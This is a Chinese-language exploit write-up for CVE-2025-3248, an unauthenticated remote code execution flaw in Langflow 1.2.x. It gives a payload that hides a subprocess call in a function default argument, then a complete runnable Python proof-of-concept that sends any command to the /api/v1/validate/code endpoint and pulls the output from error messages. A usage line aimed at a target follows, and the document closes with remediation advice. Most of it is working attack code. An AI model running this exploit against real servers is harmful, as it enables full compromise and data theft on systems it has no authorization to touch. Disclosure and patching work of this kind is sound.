Langflow 1.2.x - 远程代码执行(RCE)漏洞利用
漏洞概述
Langflow 1.2.x版本中存在一个严重的远程代码执行漏洞(CVE-2025-3248)。该漏洞源于/api/v1/validate/code端点未对用户输入进行充分验证,直接通过exec()函数执行任意Python代码。攻击者无需身份验证即可利用此漏洞在目标系统上执行任意命令。
漏洞细节
- 受影响版本:Langflow <= 1.2.x
- 漏洞类型:远程代码执行(RCE)
- 攻击复杂度:低(无需认证)
- CVSS评分:未提供(但属于高危漏洞)
利用原理
攻击者向/api/v1/validate/code端点发送特制的JSON载荷,其中包含通过Python exec()函数执行的系统命令。漏洞利用代码通过构造特殊的函数定义,在函数默认参数中嵌入命令执行逻辑:
1
|
def run(cd=exec('raise Exception(__import__("subprocess").check_output("id", shell=True))')): pass
|
当Langflow处理此代码时,会执行exec()函数中的命令,并通过异常消息返回命令输出。
PoC代码分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
|
#!/usr/bin/env python3
# 漏洞标题:Langflow 1.2.x - 远程代码执行(RCE)
# 日期:2025-07-11
# 作者:Raghad Abdallah Al-syouf
# 软件主页:https://github.com/logspace-ai/langflow
# 版本:<= 1.2.x
# 测试环境:Ubuntu / Docker
# CVE:CVE-2025-3248
import requests
import argparse
import json
from urllib.parse import urljoin
from colorama import Fore, Style, init
import random
# 初始化颜色输出
init(autoreset=True)
requests.packages.urllib3.disable_warnings()
class LangflowRCE:
def __init__(self, target_url, timeout=10):
self.base_url = target_url.rstrip('/')
self.session = requests.Session()
self.session.verify = False
self.session.headers = {
"User-Agent": "Langflow-RCE-Scanner",
"Content-Type": "application/json"
}
self.timeout = timeout
def run_payload(self, command):
endpoint = urljoin(self.base_url, "/api/v1/validate/code")
payload = {
"code": (
f"def run(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"{command}\", shell=True))')): pass"
)
}
print(f"{Fore.YELLOW}[+] 向目标发送载荷: {endpoint}")
try:
response = self.session.post(endpoint, data=json.dumps(payload), timeout=self.timeout)
print(f"{Fore.YELLOW}[+] HTTP 状态码: {response.status_code}")
if response.status_code == 200:
try:
json_data = response.json()
err = json_data.get("function", {}).get("errors", [""])[0]
if isinstance(err, str) and err.startswith("b'"):
output = err[2:-1].encode().decode("unicode_escape").strip()
return output or "[!] 无输出返回"
except Exception as e:
return f"[!] 响应解析错误: {e}"
return "[!] 目标可能不存在漏洞或已修复"
except Exception as e:
return f"[!] 请求失败: {e}"
def main():
parser = argparse.ArgumentParser(description="PoC - CVE-2025-3248 | Langflow <= v1.2.x 未授权RCE")
parser.add_argument("url", help="目标URL (例如: http://localhost:7860)")
parser.add_argument("cmd", help="要执行的远程命令 (例如: whoami)")
args = parser.parse_args()
exploit = LangflowRCE(args.url)
result = exploit.run_payload(args.cmd)
print(f"\n{Fore.GREEN}[+] 命令输出:\n{Style.RESET_ALL}{result}")
if __name__ == "__main__":
main()
|
使用方法
- 确保目标运行Langflow <= 1.2.x
- 执行PoC脚本:
1
|
python3 cve-2025-3248.py http://target:7860 "id"
|
修复建议
- 升级到最新版本
- 对
/api/v1/validate/code端点实施严格的输入验证
- 避免使用
exec()等危险函数处理用户输入
- 实施适当的身份验证和授权机制
影响评估
此漏洞允许攻击者在受影响系统上执行任意命令,可能导致:
- 系统完全沦陷
- 敏感数据泄露
- 横向移动攻击
- 持久化后门安装
建议所有Langflow用户立即检查版本并采取相应防护措施。